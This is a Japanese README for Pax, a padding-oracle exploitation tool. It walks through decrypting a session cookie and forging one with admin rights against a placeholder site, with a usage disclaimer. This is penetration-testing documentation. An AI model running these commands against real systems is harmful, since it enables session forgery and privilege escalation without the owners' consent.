
パディングオラクルを悪用して、楽しみながら利益を得よう!
Pax(Padding oracle eXploiter)は、パディングオラクルを悪用するためのツールです。以下の目的で使用します。
これにより、暗号化されたセッション情報を開示したり、認証を回避したり、権限を昇格させたり、カスタム平文を暗号化してサーバーに書き戻すことでリモートコード実行を行うことができます。
いつものことですが、このツールは自分が所有している、または探査の許可を得ているシステムでのみ使用してください。
releases からダウンロードするか、Go でインストールしてください。
go get -u github.com/liamg/pax/cmd/pax
暗号化データが SESS という名前のクッキーに保存されている疑いのあるオラクルを見つけた場合、以下のように使用できます。
pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"
これにより、おそらく次のような平文が得られるでしょう。
{"user_id": 456, "is_admin": false}
ここで権限を昇格できそうですね!
そのためには、まずオラクルが復号してこっそりとした平文に戻す、自分自身の暗号化データを生成してみてください。
pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'
これにより、別のbase64エンコードされた暗号化データが出力されます。おそらく次のようになります。
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
ブラウザを開き、SESS クッキーの値を上記の値に設定します。元のオラクルページを読み込むと、管理者レベルに昇格していることが確認できるはずです。
以下は、この攻撃の仕組みに関する優れたガイドです。